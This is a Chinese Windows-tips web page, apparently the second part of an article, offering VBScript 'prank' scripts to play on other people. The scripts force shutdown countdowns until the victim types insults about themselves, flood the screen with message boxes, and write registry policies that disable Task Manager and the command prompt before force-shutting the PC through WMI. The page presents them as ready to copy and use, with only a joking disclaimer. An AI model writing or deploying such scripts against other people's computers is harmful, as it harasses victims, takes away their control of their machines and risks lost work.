-
win10系统vbs整人代码的设置方法(2)
- 作者:谢艾月 分类:win10 发布时间:2017-06-22 04:57:56
"我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr...
<> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖" 十一、还是需要输入我是猪,不然关机 set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://www.winwin7.com" msgbox"哎呀累了!数绵羊哄我睡觉",4096+64 for i=1 to 100 MsgBox i&"只绵羊",4096+64 next msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64 msgbox"最后问个问题,我是不是大好人!",4096+64 if inputbox("是不是","请选择","是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub 十二、输入我是猪结束运行,否则如果别人不输我是猪的话就会一直点下去 点到你设定的数字 for i=1 to 100 从1到100 可以改成 20 其他的数字 解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe 复制代码 代码如下: set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" for i=1 to 60 s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next 十三、1:开机就强制自动关机 2:cmd命令打不开 3:结束任务不管用 4:F8安全模式也不管用 呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、 代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,, PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "宝宝,我是天下第一大傻B") a = inputbox ("宝宝,我是天下第一大傻B,就不关机,快撒,说 ""宝宝,我是天下第一大傻B"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,乖乖" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦??"
上面便是win10系统vbs整人代码的设置方法的全部内容啦,希望可以帮助到您,感谢大家对本站的喜欢和浏览,觉得本文不错就收藏和分享起来吧!
猜您喜欢
- 两种方法教你如何在Win10系统设置闹钟..2024-05-07
- Win10更新后无法登录?别担心,这有解..2024-05-07
- 关闭Win10电脑省电模式,轻松掌握Win..2024-05-07
- Win10更新后无限登录界面?这几个解决..2024-05-07
- 如何改变win10电脑的开机画面?让你成..2024-05-07
- 轻松掌握Win10登录Administrator用户的方法..2024-05-07
相关推荐
- 老司机告诉你win10网页没有声音的解决..2022-07-15
- 解决Win10 1909系统中输入法无法切换的..2017-10-12
- 修复任务栏没有隐藏在Win10系统的技巧..2021-06-07
- Win10混合现实怎么用?详解混合现实对企..2021-06-23
- win10系统电脑怎样实现快速卸载程序..2023-05-07
- Win10系统怎么连接蓝牙?..2022-03-27